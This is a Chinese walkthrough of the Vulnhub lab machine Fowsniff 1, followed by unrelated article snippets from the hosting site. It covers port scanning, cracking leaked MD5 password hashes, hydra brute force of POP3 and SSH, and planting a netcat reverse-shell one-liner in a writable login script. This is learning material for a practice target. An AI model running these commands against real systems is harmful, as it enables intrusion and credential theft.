Vulnhub:Fowsniff 1

靶机下载地址

信息收集

主机发现

nmap 192.168.31.0/24 -Pn -T4

靶机ip:192.168.31.134

端口扫描

nmap 192.168.31.134 -A -p- -T4

开放端口22(ssh)、80(http),和两个明文传输的邮件端口110(pop3)、143(imap)。

HTTP

访问http://192.168.31.134。

目录扫描。

dirsearch -u http://192.168.31.134

扫描出不少目录。

访问/security.txt,1337语言加密。1337(Leet)一种黑客语言,通常将英语中的字母替换为数字和特殊符号。

一个破解1337的简单python脚本。

str1 = input()
before = '0134567'
after = 'oieasgt'
table = ''.maketrans(before, after)     #创建映射表
print(str1.translate(table))

Fowsniff Corp被BigNinja入侵了!完全没用。

首页的下滑有一些文字,通过文字翻译知道Fowsniff的内部系统遭遇数据泄露,导致员工用户名和密码暴露,所有员工被指示立即更改密码。攻击者还劫持了官方@fowsniffcorp Twitter账户。

推特账户,用谷歌搜索,第一个就是。

置顶帖子的链接中给出了黑客获取的密码,不过链接404了。

在网上的wp中找到了链接中的内容。

以下是他们从数据库中获取的电子邮件密码。
​
他们的pop 3服务器也完全打开了!
​
MD5不安全,所以破解它们应该不难。
​
mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4
mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56
tegel@fowsniff:1dc352435fecca338acfd4be10984009
baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb
seina@fowsniff:90dc16d47114aa13671c697fd506cf26
stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd
mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b
parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11
sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e 

黑客dump的pop3邮件账户和密码,提示密码由MD5加密,找个网站解一下或者john破解。

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt lists.txt

# 查看
john --show --format=Raw-MD5 lists.txt

 

复制到pop3.txt中,用awk命令将用户名和密码分别存入username.txt和password.txt中方便后续使用。

cat pop3.txt | awk -F '@' '{print $1}' > username.txt
cat pop3.txt | awk -F ':' '{print $2}' > password.txt

渗透

爆破邮箱协议POP3

hydra -L username.txt -P password.txt pop3://192.168.31.134

seina:scoobydoo2

telnet登录POP3。

telnet ip port
user seina
pass scoobydoo2
# 列出所有邮件编码和长度
list
# 读取指定邮件 
retr 邮件编号
# 退出
quit

有两封邮件,邮件1内容如下:

Dear All,

A few days ago, a malicious actor was able to gain entry to our internal email systems. The attacker was able to exploit incorrectly filtered escape characters within our SQL database to access our login credentials. Both the SQL and authentication system used legacy methods that had not been updated in some time.

We have been instructed to perform a complete internal system overhaul. While the main systems are "in the shop," we have moved to this isolated, temporary server that has minimal functionality.

This server is capable of sending and receiving emails, but only locally. That means you can only send emails to other users, not to the world wide web. You can, however, access this system via the SSH protocol.

The temporary password for SSH is "S1ck3nBluff+secureshell"

You MUST change this password as soon as possible, and you will do so under my guidance. I saw the leak the attacker posted online, and I must say that your passwords were not very secure.

Come see me in my office at your earliest convenience and we'll set it up.

Thanks, A.J Stone

大概内容是通知员工用SSH的临时密码S1ck3nBluff+secureshell登录,然后修改密码。

第二封邮件内容如下:大概是Skyler跟离开了一周的Devin的闲聊。

Devin,

You should have seen the brass lay into AJ today! We are going to be talking about this one for a looooong time hahaha. Who knew the regional manager had been in the navy? She was swearing like a sailor!

I don't know what kind of pneumonia or something you brought back with you from your camping trip, but I think I'm coming down with it myself. How long have you been gone - a week? Next time you're going to get sick and miss the managerial blowout of the century, at least keep it to yourself!

I'm going to head home early and eat some chicken soup. I think I just got an email from Stone, too, but it's probably just some "Let me explain the tone of my meeting with management" face-saving mail. I'll read it when I get back.

Feel better,

Skyler

PS: Make sure you change your email password. AJ had been telling us to do that right before Captain Profanity showed up.

爆破ssh

看看谁没修改密码,大概率是离开一周的Devin对应账户baksteen。

hydra -L username.txt -p S1ck3nBluff+secureshell ssh://192.168.31.134

baksteen:S1ck3nBluff+secureshell

远程登录ssh服务器。找到一条提示:"One Hit Wonder",昙花一现的歌手,不知道什么意思。

提权

内核提权uname -a

用44298。上传到靶机,发现靶机没有gcc无法编译exp,在本机上编译好试试,结果提示./44298: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./44298)。由此整个内核提权out!

看了wp知道需要找有写权限的文件。

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*"  2>/dev/null

最可疑的就是/opt/cube/cube.sh

执行cube.sh会打印如下内容,这个页面是ssh连接成功时出现的页面,说明每次进行ssh连接成功时都会执行这个文件。

写入反弹shell。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.121 4444 >/tmp/f

退出baksteen终端,攻击机nc监听4444端口,重新登录ssh。

get flag.txt!🎆

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1544424.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

线程池工作原理?

线程池的工作原理: 当任务过来时,如果线程池中的线程数小于核心线程数,就创建线程。(默认情况下,线程池不会预先创建线程,但可以配置)当核心线程数满了以后,提交过来的任务会放到阻塞…

公司可以看到员工电脑在干嘛吗?四种监控员工电脑的方式

想象一下,你刚打开电脑,准备浏览最新的娱乐新闻,突然想到:“我的老板能看到我在干嘛吗?” 随着企业对工作效率和信息安全的关注日益增加,越来越多的公司开始采用各种方式来监控员工的电脑使用情况。 那么…

Java语言程序设计基础篇_编程练习题**18.38 (递归树)

目录 题目:**18.38 (递归树) 代码示例 代码逻辑解释 类定义和变量初始化 main 方法 start 方法 drawRecursiveTree 方法 输出结果 题目:**18.38 (递归树) 编写一个程序来显示一个递归树,如图18-20所示 代码示例 编程练习题18_38Re…

git push错误:Out of memory, malloc failed (tried toallocate 947912704 bytes)

目录 一、错误截图 二、解决办法 一、错误截图 因项目文件过大,http.postBuffer设置的内存不够,所以报错。 二、解决办法 打开cmd窗口,执行如下命令即可 git config --global http.postBuffer 1024000000 如图所示 执行完成以后&#…

ABAP 学习t-code DWDM

ABAP 学习t-code DWDM ,里面有很多例子展示,且能看到源代码

netty编程之我就非得用你,我用Java nio咋就不行?

写在前面 netty啊,我就非得用你,我用Java nio咋就不行? 1:我们都要做什么? 比如我们想要实现一个http的服务器,如果是直接基于Java nio来做的话,就需要来解析http协议,不小的工作…

第十七节 鼠标的操作与相应

知识点 -event代表鼠标事件类型 -EVENT_LBUTTONDOWN鼠标左键按下 -EVENT_LBUTTONUP鼠标左键抬起 -EVENT_LBUTTONMOVE鼠标及移动 Point sp(-1, -1); Point ep(-1, -1); Mat temp; static void on_draw(int event, int x, int y, int flags, void* userdata) { Mat imag…

通过 OBD Demo 体验 OceanBase 4.3 社区版

本文作者:马顺华 引言 OceanBase 4.3 是一个专为实时分析 AP 业务设计的重大更新版本。它基于LSM-Tree架构,引入了列存引擎,实现了行存与列存数据存储的无缝整合。这一版本不仅显著提升了AP场景的查询性能,同时也确保了TP业务场景…

RT-DETR

SSE represents the single-scale Transformer encoder,CSF represents cross-scale fusion. AIFI and CCFF are the two modules designed into 作者的 hybrid encoder 截止到发文时间的issue数,多吓人呐,不建议复现

从Servlet+JSP+JDBC到MyBatis:重构用户CRUD操作的高效之旅

前言 原生的JDBC: 原生的JDBC操作数据库,书写较为繁琐,降低开发效率。JDBC的局限性(如代码冗余、SQL语句与Java代码紧密耦合、难以维护等)。 相比于JDBC,Mybatis的优势: SQL与Java代码的分离、强…

性能测试工具——JMeter

目录 一、JMeter介绍 1、下载安装JMeter 2、打开JMeter 方式一: 方式二: 3、JMeter基础设置 4、JMeter基本使用流程 (1)启动JMeter (2)在测试计划下添加线程组 (3)在 “线…

Linux权限修改及管理员权限获取

在网上看到的,自己当作字典记录下来 修改文件权限:chmod 使用 chmod 可以修改文件权限。 两种方式:字母法与数字法 一,字母法修改文件权限 例如:文件名为 test.x 给文件 test.x 添加所有用户都能执行的权限&#x…

CSS简明通俗教程

CSS简明通俗教程 1. CSS简介 CSS(Cascading Style Sheets,层叠样式表)是一种样式表语言。CSS用于描述HTML或XML(包括SVG或XHTML等XML方言)文档的呈现方式,它有自己的语法规则和逻辑,用于控制网…

年薪40W!转AI产品经理后,我明白了有人带的意义在哪!

如果你正想转岗/入行产品经理,我的故事或许能给你一些启示👇 初识产品 目标有了,问题也有了 和很多人一样,毕业的时候比较迷茫,不知道自己喜欢什么行业、岗位… 就按照专业找了一个对口且擅长的算法工作&#xff0…

学习C#,视频、书籍、在线文档哪种是你喜欢的方式,80%的人竟然选择这个方式!

大家好,我是编程乐趣。 每一个人学习编程,选择的方式、习惯的方式可能都不一样,有些人喜欢买书、有些人喜欢看官方文档、有些人喜欢看视频。 哪一种方式,我个人认为都没问题,只要能获取知识就行。 下面一起看看Stac…

一带一路区块链样题解析(上)

一带一路区块链赛项样题解析 模块一 任务一:按要求完成 FISCO BCOS 区块链系统部署 (1)编写配置文档 1.根据题目设置各项要求,使用build_chain.sh离线搭建匹配的区块链,并通过命令配置各群组节点的MySQL数据库;(1分) cat >> ipconf <<EOF 127.0.0.1:3 …

基于C#+SQL Server2008实现(CS界面)学生宿舍管理系统

1 概述 本次课程设计是数据库课程设计&#xff0c;我选的是学生宿舍管理系统&#xff0c;功能块主要是宿舍管理、学生管理、出入登记和来访登记&#xff0c;目的在于将学生宿舍的管理实现信息化&#xff0c;监控学生宿舍的情况防止意外发生。 课程设计任务的需求分析 2.1设计…

中航资本:交易港股通,为什么刚买入就显示亏损?

经过港股通生意港股&#xff0c;刚买入就闪现亏本是因为买入港股时会有一个汇率差。 港股通生意选用的是港币报价、人民币结算的方式&#xff0c;港股通的参看本钱价是以港币核算的&#xff0c;触及买入时将港币换成人民币&#xff0c;卖出时将人民币换成港币的进程&#xff0…

Java语言程序设计基础篇_编程练习题18.36 (思瑞平斯基三角形)

目录 题目&#xff1a;18.36 (思瑞平斯基三角形) 代码示例 代码逻辑 1. 应用程序入口 2. GUI设置 3. 事件处理 4. 绘制逻辑 5. 递归绘制 输出结果 题目&#xff1a;18.36 (思瑞平斯基三角形) 编写一个程序&#xff0c;让用户输入一个阶数&#xff0c;然后显示填充的…

送书!一大波LLM大模型学习教程书籍

最近整理了日前市面上一大波大模型的书&#xff0c;已经打包成pdf了&#xff0c;大家有需要的&#xff0c;可以自行添加获取&#xff0c;纯福利&#xff0c;无套路&#xff0c;添加后说明是哪本书&#xff0c;会直接给大家&#xff01; &#x1f449;CSDN大礼包&#x1f381;&a…